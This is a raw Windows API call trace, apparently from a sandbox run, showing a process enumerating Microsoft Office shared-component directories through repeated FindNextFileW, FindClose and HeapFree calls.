	[0083.791] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca8c279f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf24004e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0083.791] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0083.791] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.791] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0083.991] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0083.994] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0083.995] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0083.995] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0083.995] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0084.003] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x4003028 | out: hHeap=0x720000) returned 1
	[0084.005] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9e69c | out: lpFindFileData=0x2e9e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0084.012] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff3020 | out: hHeap=0x720000) returned 1
	[0084.015] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0084.015] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0084.015] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.015] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0084.017] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0084.021] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.129] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0084.129] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0084.129] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.131] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ODBC", cAlternateFileName="")) returned 1
	[0084.132] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.133] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 0
	[0084.133] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.133] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.133] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 1
	[0084.133] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.133] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0084.133] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0084.133] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.133] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0084.134] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.134] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0084.134] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.134] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0084.134] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0084.134] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0084.134] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0084.136] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0084.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.139] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0084.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.139] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0084.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.140] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0084.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.140] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0084.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.140] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0084.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.140] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0084.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.140] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0084.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0084.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0084.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0084.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0084.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.141] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0084.141] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0084.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.142] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0084.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.142] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0084.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.143] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0084.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.143] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0084.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.144] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0084.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.144] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0084.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0084.144] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0084.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0084.144] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0084.146] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe3018 | out: hHeap=0x720000) returned 1
	[0084.146] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0084.146] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0084.146] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
